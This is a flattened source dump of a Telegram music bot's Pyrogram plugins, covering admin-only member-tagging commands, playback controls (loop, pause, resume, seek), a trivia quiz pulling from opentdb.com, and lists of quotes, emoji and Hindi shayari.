"**❅ ʏᴏᴜ ᴄʜᴀɴɢᴇ ʏᴏᴜʀ ʟɪғᴇ ʙʏ ᴄʜᴀɴɢɪɴɢ ʏᴏᴜʀ ʜᴇᴀʀᴛ.",
"**❅ ʟɪғᴇ ɪs ɴᴏᴛʜɪɴɢ ᴡɪᴛʜᴏᴜᴛ ᴛʀᴜᴇ ғʀɪᴇɴᴅsʜɪᴘ.**",
"**❅ ɪғ ʏᴏᴜ ᴀʀᴇ ʙʀᴀᴠᴇ ᴛᴏ sᴀʏ ɢᴏᴏᴅ ʙʏᴇ, ʟɪғᴇ ᴡɪʟʟ ʀᴇᴡᴀʀᴅ ʏᴏᴜ ᴡɪᴛʜ ᴀ ɴᴇᴡ ʜᴇʟʟᴏ.**",
"**❅ ᴛʜᴇʀᴇ ɪs ɴᴏᴛʜɪɴɢ ᴍᴏʀᴇ ᴇxᴄɪᴛɪɴɢ ɪɴ ᴛʜᴇ ᴡᴏʀʟᴅ, ʙᴜᴛ ᴘᴇᴏᴘʟᴇ.**",
"**❅ ʏᴏᴜ ᴄᴀɴ ᴅᴏ ᴀɴʏᴛʜɪɴɢ, ʙᴜᴛ ɴᴏᴛ ᴇᴠᴇʀʏᴛʜɪɴɢ.**",
"**❅ ʟɪғᴇ ʙᴇᴄᴏᴍᴇ ᴇᴀsʏ ᴡʜᴇɴ ʏᴏᴜ ʙᴇᴄᴏᴍᴇ sᴛʀᴏɴɢ.**",
"**❅ ᴍʏ ʟɪғᴇ ɪsɴ’ᴛ ᴘᴇʀғᴇᴄᴛ ʙᴜᴛ ɪᴛ ᴅᴏᴇs ʜᴀᴠᴇ ᴘᴇʀғᴇᴄᴛ ᴍᴏᴍᴇɴᴛs.**",
"**❅ ʟɪғᴇ ɪs ɢᴏᴅ’s ɴᴏᴠᴇʟ. ʟᴇᴛ ʜɪᴍ ᴡʀɪᴛᴇ ɪᴛ.**",
"**❅ ᴏᴜʀ ʟɪғᴇ ɪs ᴀ ʀᴇsᴜʟᴛ ᴏғ ᴏᴜʀ ᴅᴏᴍɪɴᴀɴᴛ ᴛʜᴏᴜɢʜᴛs.**",
"**❅ ʟɪғᴇ ɪs ᴀ ᴍᴏᴛɪᴏɴ ғʀᴏᴍ ᴀ ᴅᴇsɪʀᴇ ᴛᴏ ᴀɴᴏᴛʜᴇʀ ᴅᴇsɪʀᴇ.**",
"**❅ ᴛᴏ ʟɪᴠᴇ ᴍᴇᴀɴs ᴛᴏ ғɪɢʜᴛ.**",
"**❅ ʟɪғᴇ ɪs ʟɪᴋᴇ ᴀ ᴍᴏᴜɴᴛᴀɪɴ, ɴᴏᴛ ᴀ ʙᴇᴀᴄʜ.**",
"**❅ ᴛʜᴇ ᴡᴏʀsᴛ ᴛʜɪɴɢ ɪɴ ʟɪғᴇ ɪs ᴛʜᴀᴛ ɪᴛ ᴘᴀssᴇs.**",
"**❅ ʟɪғᴇ ɪs sɪᴍᴘʟᴇ ɪғ ᴡᴇ ᴀʀᴇ sɪᴍᴘʟᴇ.**",
"**❅ ᴀʟᴡᴀʏs ᴛʜɪɴᴋ ᴛᴡɪᴄᴇ, sᴘᴇᴀᴋ ᴏɴᴄᴇ.**",
"**❅ ʟɪғᴇ ɪs sɪᴍᴘʟᴇ, ᴡᴇ ᴍᴀᴋᴇ ɪᴛ ᴄᴏᴍᴘʟɪᴄᴀᴛᴇᴅ.**",
"**❅ ʟɪғᴇ ɪs ɴᴏᴛ ᴍᴜᴄʜ ᴏʟᴅᴇʀ ᴛʜᴀɴ ᴛʜᴇ ᴅᴇᴀᴛʜ.**",
"**❅ ᴛʜᴇ sᴇᴄʀᴇᴛ ᴏғ ʟɪғᴇ ɪs ʟᴏᴡ ᴇxᴘᴇᴄᴛᴀᴛɪᴏɴs!**",
"**❅ ʟɪғᴇ ɪs ᴀ ᴛᴇᴀᴄʜᴇʀ..,ᴛʜᴇ ᴍᴏʀᴇ ᴡᴇ ʟɪᴠᴇ, ᴛʜᴇ ᴍᴏʀᴇ ᴡᴇ ʟᴇᴀʀɴ.**",
"**❅ ʜᴜᴍᴀɴ ʟɪғᴇ ɪs ɴᴏᴛʜɪɴɢ ʙᴜᴛ ᴀɴ ᴇᴛᴇʀɴᴀʟ ɪʟʟᴜsɪᴏɴ.**",
"**❅ ᴛʜᴇ ʜᴀᴘᴘɪᴇʀ ᴛʜᴇ ᴛɪᴍᴇ, ᴛʜᴇ sʜᴏʀᴛᴇʀ ɪᴛ ɪs.**",
"**❅ ʟɪғᴇ ɪs ʙᴇᴀᴜᴛɪғᴜʟ ɪғ ʏᴏᴜ ᴋɴᴏᴡ ᴡʜᴇʀᴇ ᴛᴏ ʟᴏᴏᴋ.**",
"**❅ ʟɪғᴇ ɪs ᴀᴡᴇsᴏᴍᴇ ᴡɪᴛʜ ʏᴏᴜ ʙʏ ᴍʏ sɪᴅᴇ.**",
"**❅ ʟɪғᴇ – ʟᴏᴠᴇ = ᴢᴇʀᴏ**",
"**❅ ʟɪғᴇ ɪs ғᴜʟʟ ᴏғ sᴛʀᴜɢɢʟᴇs.**",
"**❅ ɪ ɢᴏᴛ ʟᴇss ʙᴜᴛ ɪ ɢᴏᴛ ʙᴇsᴛ **",
"**❅ ʟɪғᴇ ɪs 10% ᴡʜᴀᴛ ʏᴏᴜ ᴍᴀᴋᴇ ɪᴛ, ᴀɴᴅ 90% ʜᴏᴡ ʏᴏᴜ ᴛᴀᴋᴇ ɪᴛ.**",
"**❅ ᴛʜᴇʀᴇ ɪs sᴛɪʟʟ sᴏ ᴍᴜᴄʜ ᴛᴏ sᴇᴇ**",
"**❅ ʟɪғᴇ ᴅᴏᴇsɴ’ᴛ ɢᴇᴛ ᴇᴀsɪᴇʀ ʏᴏᴜ ɢᴇᴛ sᴛʀᴏɴɢᴇʀ.**",
"**❅ ʟɪғᴇ ɪs ᴀʙᴏᴜᴛ ʟᴀᴜɢʜɪɴɢ & ʟɪᴠɪɴɢ.**",
"**❅ ᴇᴀᴄʜ ᴘᴇʀsᴏɴ ᴅɪᴇs ᴡʜᴇɴ ʜɪs ᴛɪᴍᴇ ᴄᴏᴍᴇs.**",
]
@app.on_message(filters.command(["hitag" ], prefixes=["/", "@", "#"]))
async def mentionall(client, message):
chat_id = message.chat.id
if message.chat.type == ChatType.PRIVATE:
return await message.reply("๏ ᴛʜɪs ᴄᴏᴍᴍᴀɴᴅ ᴏɴʟʏ ғᴏʀ ɢʀᴏᴜᴘs.")
is_admin = False
try:
participant = await client.get_chat_member(chat_id, message.from_user.id)
except UserNotParticipant:
is_admin = False
else:
if participant.status in (
ChatMemberStatus.ADMINISTRATOR,
ChatMemberStatus.OWNER
):
is_admin = True
if not is_admin:
return await message.reply("๏ ʏᴏᴜ ᴀʀᴇ ɴᴏᴛ ᴀᴅᴍɪɴ ʙᴀʙʏ, ᴏɴʟʏ ᴀᴅᴍɪɴs ᴄᴀɴ ᴛᴀɢ ᴍᴇᴍʙᴇʀs. ")
if message.reply_to_message and message.text:
return await message.reply("/hitag ɢᴏᴏᴅ ᴍᴏʀɴɪɴɢ ᴛʏᴘᴇ ʟɪᴋᴇ ᴛʜɪs / ʀᴇᴘʟʏ ᴀɴʏ ᴍᴇssᴀɢᴇ ɴᴇxᴛ ᴛɪᴍᴇ ʙᴏᴛ ᴛᴀɢɢɪɴɢ...")
elif message.text:
mode = "text_on_cmd"
msg = message.text
elif message.reply_to_message:
mode = "text_on_reply"
msg = message.reply_to_message
if not msg:
return await message.reply("/hitag ɢᴏᴏᴅ ᴍᴏʀɴɪɴɢ ᴛʏᴘᴇ ʟɪᴋᴇ ᴛʜɪs / ʀᴇᴘʟʏ ᴀɴʏ ᴍᴇssᴀɢᴇ ɴᴇxᴛ ᴛɪᴍᴇ ғᴏᴛ ᴛᴀɢɢɪɴɢ...")
else:
return await message.reply("/hitag ɢᴏᴏᴅ ᴍᴏʀɴɪɴɢ ᴛʏᴘᴇ ʟɪᴋᴇ ᴛʜɪs / ʀᴇᴘʟʏ ᴀɴʏ ᴍᴇssᴀɢᴇ ɴᴇxᴛ ᴛɪᴍᴇ ʙᴏᴛ ᴛᴀɢɢɪɴɢ...")
if chat_id in spam_chats:
return await message.reply("๏ ᴘʟᴇᴀsᴇ ᴀᴛ ғɪʀsᴛ sᴛᴏᴘ ʀᴜɴɴɪɴɢ ᴍᴇɴᴛɪᴏɴ ᴘʀᴏᴄᴇss...")
spam_chats.append(chat_id)
usrnum = 0
usrtxt = ""
async for usr in client.get_chat_members(chat_id):
if not chat_id in spam_chats:
break
if usr.user.is_bot:
continue
usrnum += 1
usrtxt += "{}".format(usr.user.id, usr.user.first_name)
if usrnum == 1:
if mode == "text_on_cmd":
txt = f"{usrtxt} {random.choice(TAGMES)}"
await client.send_message(chat_id, txt)
elif mode == "text_on_reply":
await msg.reply(f"[{random.choice(EMOJI)}](tg://user?id={usr.user.id})")
await asyncio.sleep(4)
usrnum = 0
usrtxt = ""
try:
spam_chats.remove(chat_id)
except:
pass
@app.on_message(filters.command(["lifetag"], prefixes=["/", "@", "#"]))
async def mention_allvc(client, message):
chat_id = message.chat.id
if message.chat.type == ChatType.PRIVATE:
return await message.reply("๏ ᴛʜɪs ᴄᴏᴍᴍᴀɴᴅ ᴏɴʟʏ ғᴏʀ ɢʀᴏᴜᴘs.")
is_admin = False
try:
participant = await client.get_chat_member(chat_id, message.from_user.id)
except UserNotParticipant:
is_admin = False
else:
if participant.status in (
ChatMemberStatus.ADMINISTRATOR,
ChatMemberStatus.OWNER
):
is_admin = True
if not is_admin:
return await message.reply("๏ ʏᴏᴜ ᴀʀᴇ ɴᴏᴛ ᴀᴅᴍɪɴ ʙᴀʙʏ, ᴏɴʟʏ ᴀᴅᴍɪɴs ᴄᴀɴ ᴛᴀɢ ᴍᴇᴍʙᴇʀs. ")
if chat_id in spam_chats:
return await message.reply("๏ ᴘʟᴇᴀsᴇ ᴀᴛ ғɪʀsᴛ sᴛᴏᴘ ʀᴜɴɴɪɴɢ ᴍᴇɴᴛɪᴏɴ ᴘʀᴏᴄᴇss...")
spam_chats.append(chat_id)
usrnum = 0
usrtxt = ""
async for usr in client.get_chat_members(chat_id):
if not chat_id in spam_chats:
break
if usr.user.is_bot:
continue
usrnum += 1
usrtxt += "{}".format(usr.user.id, usr.user.first_name)
if usrnum == 1:
txt = f"{usrtxt} {random.choice(VC_TAG)}"
await client.send_message(chat_id, txt)
await asyncio.sleep(4)
usrnum = 0
usrtxt = ""
try:
spam_chats.remove(chat_id)
except:
pass
@app.on_message(filters.command(["cancel", "histop", "lifestop"]))
async def cancel_spam(client, message):
if not message.chat.id in spam_chats:
return await message.reply("๏ ᴄᴜʀʀᴇɴᴛʟʏ ɪ'ᴍ ɴᴏᴛ ᴛᴀɢɢɪɴɢ ʙᴀʙʏ.")
is_admin = False
try:
participant = await client.get_chat_member(message.chat.id, message.from_user.id)
except UserNotParticipant:
is_admin = False
else:
if participant.status in (
ChatMemberStatus.ADMINISTRATOR,
ChatMemberStatus.OWNER
):
is_admin = True
if not is_admin:
return await message.reply("๏ ʏᴏᴜ ᴀʀᴇ ɴᴏᴛ ᴀᴅᴍɪɴ ʙᴀʙʏ, ᴏɴʟʏ ᴀᴅᴍɪɴs ᴄᴀɴ ᴛᴀɢ ᴍᴇᴍʙᴇʀs.")
else:
try:
spam_chats.remove(message.chat.id)
except:
pass
return await message.reply("๏ ᴍᴇɴᴛɪᴏɴ ᴘʀᴏᴄᴇss sᴛᴏᴘᴘᴇᴅ ๏")
================================================
FILE: BrandrdXMusic/plugins/admins/loop.py
================================================
from pyrogram import filters
from pyrogram.types import Message
from BrandrdXMusic import app
from BrandrdXMusic.utils.database import get_loop, set_loop
from BrandrdXMusic.utils.decorators import AdminRightsCheck
from BrandrdXMusic.utils.inline import close_markup
from config import BANNED_USERS
@app.on_message(filters.command(["loop", "cloop"]) & filters.group & ~BANNED_USERS)
@AdminRightsCheck
async def admins(cli, message: Message, _, chat_id):
usage = _["admin_17"]
if len(message.command) != 2:
return await message.reply_text(usage)
state = message.text.split(None, 1)[1].strip()
if state.isnumeric():
state = int(state)
if 1 <= state <= 10:
got = await get_loop(chat_id)
if got != 0:
state = got + state
if int(state) > 10:
state = 10
await set_loop(chat_id, state)
return await message.reply_text(
text=_["admin_18"].format(state, message.from_user.mention),
reply_markup=close_markup(_),
)
else:
return await message.reply_text(_["admin_17"])
elif state.lower() == "enable":
await set_loop(chat_id, 10)
return await message.reply_text(
text=_["admin_18"].format(state, message.from_user.mention),
reply_markup=close_markup(_),
)
elif state.lower() == "disable":
await set_loop(chat_id, 0)
return await message.reply_text(
_["admin_19"].format(message.from_user.mention),
reply_markup=close_markup(_),
)
else:
return await message.reply_text(usage)
================================================
FILE: BrandrdXMusic/plugins/admins/pause.py
================================================
from pyrogram import filters
from pyrogram.types import Message
from BrandrdXMusic import app
from BrandrdXMusic.core.call import Hotty
from BrandrdXMusic.utils.database import is_music_playing, music_off
from BrandrdXMusic.utils.decorators import AdminRightsCheck
from BrandrdXMusic.utils.inline import close_markup
from config import BANNED_USERS
@app.on_message(filters.command(["pause", "cpause"]) & filters.group & ~BANNED_USERS)
@AdminRightsCheck
async def pause_admin(cli, message: Message, _, chat_id):
if not await is_music_playing(chat_id):
return await message.reply_text(_["admin_1"])
await music_off(chat_id)
await Hotty.pause_stream(chat_id)
await message.reply_text(
_["admin_2"].format(message.from_user.mention), reply_markup=close_markup(_)
)
================================================
FILE: BrandrdXMusic/plugins/admins/quiz.py
================================================
import random
import requests
import time
from pyrogram import filters
from pyrogram.enums import PollType, ChatAction
from BrandrdXMusic import app
last_command_time = {}
@app.on_message(filters.command(["quiz"]))
async def quiz(client, message):
user_id = message.from_user.id
current_time = time.time()
if user_id in last_command_time and current_time - last_command_time[user_id] < 5:
await message.reply_text(
"Pʟᴇᴀsᴇ ᴡᴀɪᴛ 𝟻 sᴇᴄᴏɴᴅs ʙᴇғᴏʀᴇ ᴜsɪɴɢ ᴛʜɪs ᴄᴏᴍᴍᴀɴᴅ ᴀɢᴀɪɴ."
)
return
last_command_time[user_id] = current_time
categories = [9, 17, 18, 20, 21, 27]
await app.send_chat_action(message.chat.id, ChatAction.TYPING)
url = f"https://opentdb.com/api.php?amount=1&category={random.choice(categories)}&type=multiple"
response = requests.get(url).json()
question_data = response["results"][0]
question = question_data["question"]
correct_answer = question_data["correct_answer"]
incorrect_answers = question_data["incorrect_answers"]
all_answers = incorrect_answers + [correct_answer]
random.shuffle(all_answers)
cid = all_answers.index(correct_answer)
await app.send_poll(
chat_id=message.chat.id,
question=question,
options=all_answers,
is_anonymous=False,
type=PollType.QUIZ,
correct_option_id=cid,
)
================================================
FILE: BrandrdXMusic/plugins/admins/resume.py
================================================
from pyrogram import filters
from pyrogram.types import Message
from BrandrdXMusic import app
from BrandrdXMusic.core.call import Hotty
from BrandrdXMusic.utils.database import is_music_playing, music_on
from BrandrdXMusic.utils.decorators import AdminRightsCheck
from BrandrdXMusic.utils.inline import close_markup
from config import BANNED_USERS
@app.on_message(filters.command(["resume", "cresume"]) & filters.group & ~BANNED_USERS)
@AdminRightsCheck
async def resume_com(cli, message: Message, _, chat_id):
if await is_music_playing(chat_id):
return await message.reply_text(_["admin_3"])
await music_on(chat_id)
await Hotty.resume_stream(chat_id)
await message.reply_text(
_["admin_4"].format(message.from_user.mention), reply_markup=close_markup(_)
)
================================================
FILE: BrandrdXMusic/plugins/admins/seek.py
================================================
from pyrogram import filters
from pyrogram.types import Message
from BrandrdXMusic import YouTube, app
from BrandrdXMusic.core.call import Hotty
from BrandrdXMusic.misc import db
from BrandrdXMusic.utils import AdminRightsCheck, seconds_to_min
from BrandrdXMusic.utils.inline import close_markup
from config import BANNED_USERS
@app.on_message(
filters.command(["seek", "cseek", "seekback", "cseekback"])
& filters.group
& ~BANNED_USERS
)
@AdminRightsCheck
async def seek_comm(cli, message: Message, _, chat_id):
if len(message.command) == 1:
return await message.reply_text(_["admin_20"])
query = message.text.split(None, 1)[1].strip()
if not query.isnumeric():
return await message.reply_text(_["admin_21"])
playing = db.get(chat_id)
if not playing:
return await message.reply_text(_["queue_2"])
duration_seconds = int(playing[0]["seconds"])
if duration_seconds == 0:
return await message.reply_text(_["admin_22"])
file_path = playing[0]["file"]
duration_played = int(playing[0]["played"])
duration_to_skip = int(query)
duration = playing[0]["dur"]
if message.command[0][-2] == "c":
if (duration_played - duration_to_skip) <= 10:
return await message.reply_text(
text=_["admin_23"].format(seconds_to_min(duration_played), duration),
reply_markup=close_markup(_),
)
to_seek = duration_played - duration_to_skip + 1
else:
if (duration_seconds - (duration_played + duration_to_skip)) <= 10:
return await message.reply_text(
text=_["admin_23"].format(seconds_to_min(duration_played), duration),
reply_markup=close_markup(_),
)
to_seek = duration_played + duration_to_skip + 1
mystic = await message.reply_text(_["admin_24"])
if "vid_" in file_path:
n, file_path = await YouTube.video(playing[0]["vidid"], True)
if n == 0:
return await message.reply_text(_["admin_22"])
check = (playing[0]).get("speed_path")
if check:
file_path = check
if "index_" in file_path:
file_path = playing[0]["vidid"]
try:
await Hotty.seek_stream(
chat_id,
file_path,
seconds_to_min(to_seek),
duration,
playing[0]["streamtype"],
)
except:
return await mystic.edit_text(_["admin_26"], reply_markup=close_markup(_))
if message.command[0][-2] == "c":
db[chat_id][0]["played"] -= duration_to_skip
else:
db[chat_id][0]["played"] += duration_to_skip
await mystic.edit_text(
text=_["admin_25"].format(seconds_to_min(to_seek), message.from_user.mention),
reply_markup=close_markup(_),
)
================================================
FILE: BrandrdXMusic/plugins/admins/shayari.py
================================================
from BrandrdXMusic import app
import asyncio
import random
from pyrogram import Client, filters
from pyrogram.enums import ChatType, ChatMemberStatus
from pyrogram.errors import UserNotParticipant
from pyrogram.types import ChatPermissions
spam_chats = []
EMOJI = [ "🦋🦋🦋🦋🦋",
"🧚🌸🧋🍬🫖",
"🥀🌷🌹🌺💐",
"🌸🌿💮🌱🌵",
"❤️💚💙💜🖤",
"💓💕💞💗💖",
"🌸💐🌺🌹🦋",
"🍔🦪🍛🍲🥗",
"🍎🍓🍒🍑🌶️",
"🧋🥤🧋🥛🍷",
"🍬🍭🧁🎂🍡",
"🍨🧉🍺☕🍻",
"🥪🥧🍦🍥🍚",
"🫖☕🍹🍷🥛",
"☕🧃🍩🍦🍙",
"🍁🌾💮🍂🌿",
"🌨️🌥️⛈️🌩️🌧️",
"🌷🏵️🌸🌺💐",
"💮🌼🌻🍀🍁",
"🧟🦸🦹🧙👸",
"🧅🍠🥕🌽🥦",
"🐷🐹🐭🐨🐻❄️",
"🦋🐇🐀🐈🐈⬛",
"🌼🌳🌲🌴🌵",
"🥩🍋🍐🍈🍇",
"🍴🍽️🔪🍶🥃",
"🕌🏰🏩⛩️🏩",
"🎉🎊🎈🎂🎀",
"🪴🌵🌴🌳🌲",
"🎄🎋🎍🎑🎎",
"🦅🦜🕊️🦤🦢",
"🦤🦩🦚🦃🦆",
"🐬🦭🦈🐋🐳",
"🐔🐟🐠🐡🦐",
"🦩🦀🦑🐙🦪",
"🐦🦂🕷️🕸️🐚",
"🥪🍰🥧🍨🍨",
" 🥬🍉🧁🧇",
]
####
SHAYRI = [ " 🌺**बहुत अच्छा लगता है तुझे सताना और फिर प्यार से तुझे मनाना।**🌺 \n\n**🥀Bahut aacha lagta hai tujhe satana Aur fir pyar se tujhe manana.🥀** ",
" 🌺**मेरी जिंदगी मेरी जान हो तुम मेरे सुकून का दुसरा नाम हो तुम।**🌺 \n\n**🥀Meri zindagi Meri jaan ho tum Mere sukoon ka Dusra naam ho tum.🥀** ",
" 🌺**तुम मेरी वो खुशी हो जिसके बिना, मेरी सारी खुशी अधूरी लगती है।**🌺 \n\n**🥀**Tum Meri Wo Khushi Ho Jiske Bina, Meri Saari Khushi Adhuri Lagti Ha.🥀** ",
" 🌺**काश वो दिन जल्दी आए,जब तू मेरे साथ सात फेरो में बन्ध जाए।**🌺 \n\n**🥀Kash woh din jldi aaye Jb tu mere sath 7 feron me bndh jaye.🥀** ",
" 🌺**अपना हाथ मेरे दिल पर रख दो और अपना दिल मेरे नाम कर दो।**🌺 \n\n**🥀apna hath mere dil pr rakh do aur apna dil mere naam kar do.🥀** ",
" 🌺**महादेव ना कोई गाड़ी ना कोई बंगला चाहिए सलामत रहे मेरा प्यार बस यही दुआ चाहिए।**🌺 \n\n**🥀Mahadev na koi gadi na koi bangla chahiye salamat rhe mera pyar bas yahi dua chahiye.🥀** ",
" 🌺**फिक्र तो होगी ना तुम्हारी इकलौती मोहब्बत हो तुम मेरी।**🌺 \n\n**🥀Fikr to hogi na tumhari ikloti mohabbat ho tum meri.🥀** ",
" 🌺**सुनो जानू आप सिर्फ किचन संभाल लेना आप को संभालने के लिए मैं हूं ना।**🌺 \n\n**🥀suno jaanu aap sirf kitchen sambhal lena ap ko sambhlne ke liye me hun naa.🥀** ",
" 🌺**सौ बात की एक बात मुझे चाहिए बस तेरा साथ।**🌺 \n\n**🥀So bat ki ek bat mujhe chahiye bas tera sath.🥀** ",
" 🌺**बहुत मुश्किलों से पाया हैं तुम्हें, अब खोना नहीं चाहते,कि तुम्हारे थे तुम्हारे हैं अब किसी और के होना नहीं चाहते।**🌺 \n\n**🥀Bahut muskilon se paya hai tumhe Ab khona ni chahte ki tumhare they tumhare hai ab kisi or k hona nhi chahte.🥀** ",
" 🌺**बेबी बातें तो रोज करते है चलो आज रोमांस करते है।**🌺 \n\n**🥀Baby baten to roj karte haichalo aaj romance karte hai..🥀** ",
" 🌺**सुबह शाम तुझे याद करते है हम और क्या बताएं की तुमसे कितना प्यार करते है हम।**🌺 \n\n**🥀subha sham tujhe yad karte hai hum aur kya batayen ki tumse kitna pyar karte hai hum.🥀** ",
" 🌺**किसी से दिल लग जाने को मोहब्बत नहीं कहते जिसके बिना दिल न लगे उसे मोहब्बत कहते हैं।**🌺 \n\n**🥀Kisi se dil lag jane ko mohabbat nahi kehte jiske nina dil na lage use mohabbat kehte hai.🥀** ",
" 🌺**मेरे दिल के लॉक की चाबी हो तुम क्या बताएं जान मेरे जीने की एकलौती वजह हो तुम।**🌺 \n\n**🥀mere dil ke lock ki chabi ho tum kya batayen jaan mere jeene ki eklauti wajah ho tum..🥀** ",
" 🌺**हम आपकी हर चीज़ से प्यार कर लेंगे, आपकी हर बात पर ऐतबार कर लेंगे, बस एक बार कह दो कि तुम सिर्फ मेरे हो, हम ज़िन्दगी भर आपका इंतज़ार कर लेंगे।**🌺 \n\n**🥀Hum apki har cheez se pyar kar lenge apki har baat par etvar kar lenge bas ek bar keh do ki tum sirf mere ho hum zindagi bhar apka intzaar kar lenge..🥀** ",
" 🌺**मोहब्बत कभी स्पेशल लोगो से नहीं होती जिससे होती है वही स्पेशल बन जाता है।**🌺 \n\n**🥀Mohabbat kabhi special logo se nahi hoti jisse bhi hoti hai wahi special ban jate hai,.🥀**",
" 🌺**तू मेरी जान है इसमें कोई शक नहीं तेरे अलावा मुझ पर किसी और का हक़ नहीं।**🌺 \n\n**🥀Tu meri jaan hai isme koi shak nahi tere alawa mujhe par kisi aur ka hak nhi..🥀** ",
" 🌺**पहली मोहब्बत मेरी हम जान न सके, प्यार क्या होता है हम पहचान न सके, हमने उन्हें दिल में बसा लिया इस कदर कि, जब चाहा उन्हें दिल से निकाल न सके।**🌺 \n\n**🥀Pehli mohabbat meri hum jaan na sake pyar kya hota hai hum pehchan na sake humne unhe dil me basa liya is kadar ki jab chaha unhe dil se nikal na sake.🥀** ",
" 🌺**खुद नहीं जानती वो कितनी प्यारी हैं , जान है हमारी पर जान से प्यारी हैं, दूरियों के होने से कोई फर्क नहीं पड़ता वो कल भी हमारी थी और आज भी हमारी है.**🌺 \n\n**🥀khud nahi janti vo kitni pyari hai jan hai hamari par jan se jyda payari hai duriya ke hone se frak nahi pdta vo kal bhe hamari the or aaj bhe hamari hai.🥀** ",
" 🌺**चुपके से आकर इस दिल में उतर जाते हो, सांसों में मेरी खुशबु बनके बिखर जाते हो, कुछ यूँ चला है तेरे इश्क का जादू, सोते-जागते तुम ही तुम नज़र आते हो।**🌺 \n\n**🥀Chupke Se Aakar Iss Dil Mein Utar Jate Ho, Saanso Mein Meri Khushbu BanKe Bikhar Jate Ho,Kuchh Yun Chala Hai Tere Ishq Ka Jadoo, Sote-Jagte Tum Hi Tum Najar Aate Ho..🥀** ",
" 🌺**प्यार करना सिखा है नफरतो का कोई ठौर नही, बस तु ही तु है इस दिल मे दूसरा कोई और नही.**🌺 \n\n**🥀Pyar karna sikha hai naftaro ka koi thor nahi bas tu hi tu hai is dil me dusra koi aur nahi hai.🥀** ",
" 🌺**रब से आपकी खुशीयां मांगते है, दुआओं में आपकी हंसी मांगते है, सोचते है आपसे क्या मांगे,चलो आपसे उम्र भर की मोहब्बत मांगते है।**🌺\n\n**🥀Rab se apki khushiyan mangte hai duao me apki hansi mangte hai sochte hai apse kya mange chalo apse umar bhar ki mohabbat mangte hai..🥀** ",
" 🌺**काश मेरे होंठ तेरे होंठों को छू जाए देखूं जहा बस तेरा ही चेहरा नज़र आए हो जाए हमारा रिश्ता कुछ ऐसा होंठों के साथ हमारे दिल भी जुड़ जाए.**🌺\n\n**🥀kash mere hoth tere hontho ko chu jayen dekhun jaha bas teri hi chehra nazar aaye ho jayen humara rishta kuch easa hothon ke sath humare dil bhi jud jaye.🥀** ",
" 🌺**आज मुझे ये बताने की इजाज़त दे दो, आज मुझे ये शाम सजाने की इजाज़त दे दो, अपने इश्क़ मे मुझे क़ैद कर लो,आज जान तुम पर लूटाने की इजाज़त दे दो.**🌺\n\n**🥀Aaj mujhe ye batane ki izazat de do, aaj mujhe ye sham sajane ki izazat de do, apne ishq me mujhe ked kr lo aaj jaan tum par lutane ki izazat de do..🥀** ",
" 🌺**जाने लोग मोहब्बत को क्या क्या नाम देते है, हम तो तेरे नाम को ही मोहब्बत कहते है.**🌺\n\n**🥀Jane log mohabbat ko kya kya naam dete hai hum to tere naam ko hi mohabbat kehte hai..🥀** ",
" 🌺**देख के हमें वो सिर झुकाते हैं। बुला के महफिल में नजर चुराते हैं। नफरत हैं हमसे तो भी कोई बात नहीं। पर गैरो से मिल के दिल क्यों जलाते हो।**🌺\n\n**🥀Dekh Ke Hame Wo Sir Jhukate Hai Bula Ke Mahfhil Me Najar Churate Hai Nafrat Hai Hamse To Bhi Koei Bat Nhi Par Gairo Se Mil Ke Dil Kyo Jalate Ho.🥀** ",
" 🌺**तेरे बिना टूट कर बिखर जायेंगे,तुम मिल गए तो गुलशन की तरह खिल जायेंगे, तुम ना मिले तो जीते जी ही मर जायेंगे, तुम्हें जो पा लिया तो मर कर भी जी जायेंगे।**🌺\n\n**🥀Tere bina tut kar bikhar jeynge tum mil gaye to gulshan ki tarha khil jayenge tum na mile to jite ji hi mar jayenge tumhe jo pa liya to mar kar bhi ji jayenge..🥀** ",
" 🌺**सनम तेरी कसम जेसे मै जरूरी हूँ तेरी ख़ुशी के लिये, तू जरूरी है मेरी जिंदगी के लिये.**🌺\n\n**🥀Sanam teri kasam jese me zaruri hun teri khushi ke liye tu zaruri hai meri zindagi ke liye.🥀** ",
" 🌺**तुम्हारे गुस्से पर मुझे बड़ा प्यार आया हैं इस बेदर्द दुनिया में कोई तो हैं जिसने मुझे पुरे हक्क से धमकाया हैं.**🌺\n\n**🥀Tumharfe gusse par mujhe pyar aaya hai is bedard duniya me koi to hai jisne mujhe pure hakk se dhamkaya hai.🥀** ",
" 🌺**पलको से आँखो की हिफाजत होती है धडकन दिल की अमानत होती है ये रिश्ता भी बडा प्यारा होता है कभी चाहत तो कभी शिकायत होती है.**🌺\n\n**🥀Palkon se Aankho ki hifajat hoti hai dhakad dil ki Aamanat hoti hai, ye rishta bhi bada pyara hota hai, kabhi chahat to kabhi shikayat hoti hai.🥀** ",
" 🌺**मुहब्बत को जब लोग खुदा मानते हैं प्यार करने वाले को क्यों बुरा मानते हैं। जब जमाना ही पत्थर दिल हैं। फिर पत्थर से लोग क्यों दुआ मांगते है।**🌺\n\n**🥀Muhabbt Ko Hab Log Khuda Mante Hai, Payar Karne Walo Ko Kyu Bura Mante Hai,Jab Jamana Hi Patthr Dil Hai,Fhir Patthr Se Log Kyu Duaa Magte Hai.🥀** ",
" 🌺**हुआ जब इश्क़ का एहसास उन्हें आकर वो पास हमारे सारा दिन रोते रहे हम भी निकले खुदगर्ज़ इतने यारो कि ओढ़ कर कफ़न, आँखें बंद करके सोते रहे।**🌺\n\n**🥀Hua jab ishq ka ehsaas unhe akar wo pass humare sara din rate rahe, hum bhi nikale khudgarj itne yaro ki ood kar kafan ankhe band krke sote rhe.🥀** ",
" 🌺**दिल के कोने से एक आवाज़ आती हैं। हमें हर पल उनकी याद आती हैं। दिल पुछता हैं बार -बार हमसे के जितना हम याद करते हैं उन्हें क्या उन्हें भी हमारी याद आती हैं।**🌺\n\n**🥀Dil Ke Kone Se Ek Aawaj Aati Hai, Hame Har Pal Uaski Yad Aati Hai, Dil Puchhta Hai Bar Bar Hamse Ke, Jitna Ham Yad Karte Hai Uanhe, Kya Uanhe Bhi Hamari Yad Aati Hai,🥀** ",
" 🌺**कभी लफ्ज़ भूल जाऊं कभी बात भूल जाऊं, तूझे इस कदर चाहूँ कि अपनी जात भूल जाऊं, कभी उठ के तेरे पास से जो मैं चल दूँ, जाते हुए खुद को तेरे पास भूल जाऊं।**🌺\n\n**🥀Kabhi Lafz Bhool Jaaun Kabhi Baat Bhool Jaaun, Tujhe Iss Kadar Chahun Ki Apni Jaat Bhool Jaaun, Kabhi Uthh Ke Tere Paas Se Jo Main Chal Dun, Jaate Huye Khud Ko Tere Paas Bhool Jaaun..🥀** ",
